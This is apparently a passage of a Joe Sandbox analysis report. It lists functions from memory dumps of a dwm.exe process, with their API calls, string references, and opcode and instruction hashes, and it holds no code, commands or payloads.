Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 34E18972605B808AEB289F69D4803DE7BA4F749B98F140156FF8957B9ACB39C9C1D700

Function 000001160C9E9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160C9E99A1

Part of subcall function 000001160C9EA814: __GetUnwindTryBlock.LIBCMT ref: 000001160C9EA857
Part of subcall function 000001160C9EA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160C9EA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160C9E9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160C9E9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160C9E9DDA

Strings

csm, xrefs: 000001160C9E9A22
csm, xrefs: 000001160C9E99BB
csm, xrefs: 000001160C9E9A9C

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: e8bf5cb6df6ba34a33c38932158f4eac1ba22fe0c4fa4ffec722413b5d166927
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 85E1BD72604B908AEB68DF69D4803DD7BA0F769B98F110159FF8957B9EEB36C091C700

Function 000001160CA1F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001160CA1F510
GetProcAddress.KERNEL32 ref: 000001160CA1F51C

Strings

api-ms-, xrefs: 000001160CA1F45A
ext-ms-, xrefs: 000001160CA1F46D

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 19b8957331cd1298c4271a9cb1997f1aaf463dbead02a3c165931a55f1f852cb
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: E741C272316B9085EB1ACBABAC107D56395B74DBE0F094165BF0A8778CEE3EC8C58314

Function 000001160CA1104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA110B1
RegEnumValueW.ADVAPI32 ref: 000001160CA11117
GetProcessHeap.KERNEL32 ref: 000001160CA1115A
HeapAlloc.KERNEL32 ref: 000001160CA11168
GetProcessHeap.KERNEL32 ref: 000001160CA11185
HeapFree.KERNEL32 ref: 000001160CA11193

Strings

d, xrefs: 000001160CA110D6

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: e11abde77124ee2b2982e20c3ca985293e0460767c9a98d2c09261830eafcf69
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: F4412972214B8486E764CF26E4547DEB7A1F388B98F448129EF8907A5CDF39D589CB40

Function 000001160CA1D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001160CA1C7DE,?,?,?,?,?,?,?,?,000001160CA1CF9D,?,?,00000001), ref: 000001160CA1D087
FlsSetValue.KERNEL32(?,?,?,000001160CA1C7DE,?,?,?,?,?,?,?,?,000001160CA1CF9D,?,?,00000001), ref: 000001160CA1D0A6
FlsSetValue.KERNEL32(?,?,?,000001160CA1C7DE,?,?,?,?,?,?,?,?,000001160CA1CF9D,?,?,00000001), ref: 000001160CA1D0CE
FlsSetValue.KERNEL32(?,?,?,000001160CA1C7DE,?,?,?,?,?,?,?,?,000001160CA1CF9D,?,?,00000001), ref: 000001160CA1D0DF
FlsSetValue.KERNEL32(?,?,?,000001160CA1C7DE,?,?,?,?,?,?,?,?,000001160CA1CF9D,?,?,00000001), ref: 000001160CA1D0F0

Strings

Y%, xrefs: 000001160CA1D0A6
1%, xrefs: 000001160CA1D0CE

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 343c9458720370ca65d3adc563c79ef422e7c1c82b765a0922e02fd96b50e0e3
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: B5116030B0478445FB6EA77D5A513E962429B4C7F0F5843A4BF3A466EEDE2AC4C28300

Function 000001160CA17510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CA17538
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CA1758A
_RTC_Initialize.LIBCMT ref: 000001160CA175B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CA175DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CA17609

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: a16568b443831e9fdc0528162ae8309fa9bca582ff67e141a8f5e22f45a5b3d1
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 8C81C3317013458AFB5CAB2EA8513D922D1A78D780F1464A5BF05C779EEB3BC9C58700

Function 000001160CA19DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001160CA19E49
GetLastError.KERNEL32 ref: 000001160CA19E57
LoadLibraryExW.KERNEL32 ref: 000001160CA19E81
FreeLibrary.KERNEL32 ref: 000001160CA19EC7
GetProcAddress.KERNEL32 ref: 000001160CA19ED3

Strings

api-ms-, xrefs: 000001160CA19E69

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: f63f1d3d351b206fec5390dcbfeb02647033de5548cb123eff403e22f2a337f1
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 2131C231212B50A1EF19DB6AE4207D662A4B74CBA0F590565BF1E0B7D8EF3AC4C5C310

Function 000001160CA23DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001160CA23DE5
GetLastError.KERNEL32 ref: 000001160CA23DF1
CloseHandle.KERNEL32 ref: 000001160CA23E09
CreateFileW.KERNEL32 ref: 000001160CA23E34
WriteConsoleW.KERNEL32 ref: 000001160CA23E53

Strings

CONOUT$, xrefs: 000001160CA23E15

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: e5b7830e206334787690fbe57ac68d7df4382751a717d101e60cb95e0e7407ab
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 55115831215B9086E7548B5BE864399A6A4F78CFE4F044264FF5A87BA8CB3AC8948740

Function 000001160CA12F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA12F27
HeapAlloc.KERNEL32 ref: 000001160CA12F3A
StrCmpNIW.SHLWAPI ref: 000001160CA12FAF
GetProcessHeap.KERNEL32 ref: 000001160CA13015
HeapFree.KERNEL32 ref: 000001160CA13023

Strings

dialer, xrefs: 000001160CA12FA8

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 9b0ef131fb9825df778914c09ef9612f011c520855aab302bb387528f792e4a9
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 04318032702B5586EB19DF1AE5407E967A0FB48B84F084164BF4847B69EF36D4E1C700

Function 000001160CA1CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001160CA1CFAF
FlsSetValue.KERNEL32(?,?,?,000001160CA1D6B5,?,?,?,?,000001160CA1D778), ref: 000001160CA1CFE5
FlsSetValue.KERNEL32(?,?,?,000001160CA1D6B5,?,?,?,?,000001160CA1D778), ref: 000001160CA1D012
FlsSetValue.KERNEL32(?,?,?,000001160CA1D6B5,?,?,?,?,000001160CA1D778), ref: 000001160CA1D023
FlsSetValue.KERNEL32(?,?,?,000001160CA1D6B5,?,?,?,?,000001160CA1D778), ref: 000001160CA1D034
SetLastError.KERNEL32 ref: 000001160CA1D04F

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 195f7eb4e80f3f5a9b5e7a1d2f2fba48434672648ca149a1aac59ca27619103f
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: D4119A3064138046FB6DA76E9A513ED2242AB8C7F4F1403A4BF36476EEDE2A88C19200

Function 000001160CA1199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001160CA119C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001160CA119E0
PathFindFileNameW.SHLWAPI ref: 000001160CA119EF
lstrlenW.KERNEL32 ref: 000001160CA119FB
StrCpyW.SHLWAPI ref: 000001160CA11A0E
CloseHandle.KERNEL32 ref: 000001160CA11A1C

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: ac7412eb1b92b5e920b4b7b3f8e1492db8961f8862413f30b6093098649facf0
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: A4013531301B9482EB189B5BA8683D963A5B78CBC0F884075EF4943758DE3AC9898700

Function 000001160CA136C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CA136E4
GetCurrentProcess.KERNEL32 ref: 000001160CA136F2
VirtualProtectEx.KERNEL32 ref: 000001160CA13714
GetCurrentProcess.KERNEL32 ref: 000001160CA13732
VirtualProtectEx.KERNEL32 ref: 000001160CA13753
TerminateThread.KERNEL32 ref: 000001160CA13762

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: e400b6bd58958b5eebd7366823e46fc8275a67c19d542b9387363af643069dca
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 02016174616B4086FF289B16F8283D563A0BB4DB81F044564FF4907769EF3EC584C700

Function 000001160CA18FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA19013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CA190A8
RtlUnwindEx.NTDLL ref: 000001160CA190F7

Strings

csm, xrefs: 000001160CA1908E
f, xrefs: 000001160CA19026

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 6e4a873323f93f32762c688842e0ea3500328160282a5a2a3fd59b3d01ccc6de
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 6A51AF326017108AEB98CF29E858BDA37A6F348BA8F1485A4FF464774CDB36D9C1C700

Function 000001160CA11A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001160CA11A60
StrCmpNIW.SHLWAPI ref: 000001160CA11A7A
lstrlenW.KERNEL32 ref: 000001160CA11A89
StrCpyW.SHLWAPI ref: 000001160CA11A9E

Strings

\\?\, xrefs: 000001160CA11A6E

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d3d378882cb347c693712bbda87589f3abb20c5979bc6251fe05b18d2c282b62
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 60F0317270475592E7648B29F8947D96760F74CB88F944060EF494655CDB3DCACDCB00

Function 000001160CA13044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001160CA13066
StrCpyW.SHLWAPI ref: 000001160CA13076
StrCatW.SHLWAPI ref: 000001160CA13082
PathCombineW.SHLWAPI ref: 000001160CA13090

Strings

\\.\pipe\, xrefs: 000001160CA1305C

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 15cf77f13ed283d02a1c3f009e91b876ed1fe72c2f290a3f76b1d71983edd001
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 32F0F874615BA482EA188F5BB9241D966A1AB4CFD0F0891A0FF5A47B2DDE39C8958700

Function 000001160CA1BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001160CA1BCBD
GetProcAddress.KERNEL32 ref: 000001160CA1BCD3
FreeLibrary.KERNEL32 ref: 000001160CA1BCFA

Strings

mscoree.dll, xrefs: 000001160CA1BCB4
CorExitProcess, xrefs: 000001160CA1BCCC

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: b84acfcdd47c5a30c6d07e30e5baf9b8b7194084d14c0ab62ff7a0d168872efb
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 44F062B121271482EB188B2EE4547D96320EB8CB65F540299FF6A451E8CF2EC9C48350

Function 000001160CA15710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA15726

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction ID: 82766d938135f85c9150c498c3b7db0e43f472018681bf26083b0a62d0a00ed9
Opcode Fuzzy Hash: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction Fuzzy Hash: 69619536919B84C6E768CB59E45439AB7A0F3C8784F101556FF8E87BA8DB7DC4808B40

Function 000001160CA24104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CA2412C
_set_statfp.LIBCMT ref: 000001160CA24147
_set_statfp.LIBCMT ref: 000001160CA24163
_set_statfp.LIBCMT ref: 000001160CA2419F

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 0a9fa6af542275ae2c9ed23ec6489d096ae3d5db8839ba6daf24dda60fdb4a87
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 87115136A10F7111F76C166ED4753E56141AB6C3B8F1806A4FF76066DECA26CCC16300

Function 000001160C9F3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160C9F352C
_set_statfp.LIBCMT ref: 000001160C9F3547
_set_statfp.LIBCMT ref: 000001160C9F3563
_set_statfp.LIBCMT ref: 000001160C9F359F

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 48188c797cd57b4bfd20ce852eb8ce83f576900a31149de147f036e6788ef631
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 38115132AD4B5119FBAE1968E4553F921817BDC374F4887B8BF7A066FE8A2EC8474110

Function 000001160C9EF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001160C9EF124

Strings

Wednesday, xrefs: 000001160C9EF1ED
or copy constructor iterator', xrefs: 000001160C9EF25A, 000001160C9EF275
Tuesday, xrefs: 000001160C9EF0F4

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: d61bcce09444ef0e9cb468f635604e665c7395d4ffb9001444836e1c197a3f9f
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: EB61D47260074482FA6D8BA4E5443EE6AA0F7AD780F514597FB4A077ADFB37C946C300

Function 000001160CA1AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001160CA1AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001160CA1AAB7

Strings

MOC, xrefs: 000001160CA1AA7C
RCC, xrefs: 000001160CA1AA85

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f30031f47c9e4201120f40a79fda595582c6c5f83fe50cb60d29b2ed52fbba5d
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6A617B33605B888AEB28DF69D4803DD77A0F748B98F044255EF8917B9CDB39C995C700

Function 000001160CA1AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CA1ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CA1AE88

Strings

csm, xrefs: 000001160CA1AEDA
csm, xrefs: 000001160CA1ADC2

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: bfb0f3dcbc16dd7e905169d3e668c372deae167db14c11ac0dde80689d6e8db8
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: DA51D0721017908AEB788F2995843D977A0F358B95F184296FF8987BDDCB3AC8D1D700

Function 000001160C9EA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160C9EA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160C9EA288

Strings

csm, xrefs: 000001160C9EA2DA
csm, xrefs: 000001160C9EA1C2

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 38e0666f760a89d6c4dff4200f4d00a5fc398ccb1c012e732d9cc72801301411
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6C51A032100380CAEB788F2595443DC7BA1F769B94F189256FB9987BE9EF3AD590D700

Function 000001160C9E8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160C9E8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160C9E84A8

Strings

csm, xrefs: 000001160C9E848E
f, xrefs: 000001160C9E8426

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 623309dcb81bcb3fa5951954a284173504c6b4767a28aa04621f8f1873a64e7e
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: CC5198326117008AEB28CB59E444BD937A9F368B98F5185A4FB16437CCFF36D881CB08

Function 000001160C9E83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160C9E8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160C9E84A8

Strings

csm, xrefs: 000001160C9E848E
f, xrefs: 000001160C9E8426

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: b181be0b8d49ca97ed7d0a6d3859fa4ab53a0d211e4af4790d495e7bba5ae1b9
